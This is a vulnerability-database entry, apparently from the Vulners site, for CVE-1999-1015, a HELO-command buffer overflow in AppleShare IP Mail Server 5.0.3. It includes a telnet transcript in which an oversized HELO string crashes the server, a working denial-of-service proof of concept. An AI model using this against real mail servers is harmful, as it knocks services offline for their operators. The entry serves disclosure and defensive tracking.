AppleShare IP Mail Server 5.0.3 - Buffer Overflow
| Reporter | Title | Published | Views | Family All 6 |
|---|---|---|---|---|
 | Sendmail HELO Command Overflow | 18 Aug 200400:00 | – | nessus |
| Multiple MTA HELO Command Remote Overflow | 18 Aug 199900:00 | – | nessus |
 | CVE-1999-1015 | 12 Sep 200104:00 | – | cve |
 | CVE-1999-1015 | 12 Sep 200104:00 | – | cvelist |
 | EUVD-1999-0996 | 7 Oct 202500:30 | – | euvd |
 | CVE-1999-1015 | 8 Apr 199804:00 | – | nvd |
source: https://www.securityfocus.com/bid/61/info
There exists a buffer overflow in the Apple AppleShare IP Mail Server 5.0.3. If yu connect to the SMTP port
and issue a HELO command with a large string (500 bytes or more) for a hostname the server, and possibly the whole machine, will crash.
$ telnet some.where
Trying 1.2.3.4...
Connected to some.where.
Escape character is '^]'.
220 some.where AppleShare IP Mail Server 5.0.3 SMTP Server Ready
HELO XXXXXXXXXXX[....several hundered of these....]XXXXXXXX
[ and it just hangs ]
$ ping some.where
[ ...nothing... ]Data
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02 Jan 2014 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 25
EPSS0.0594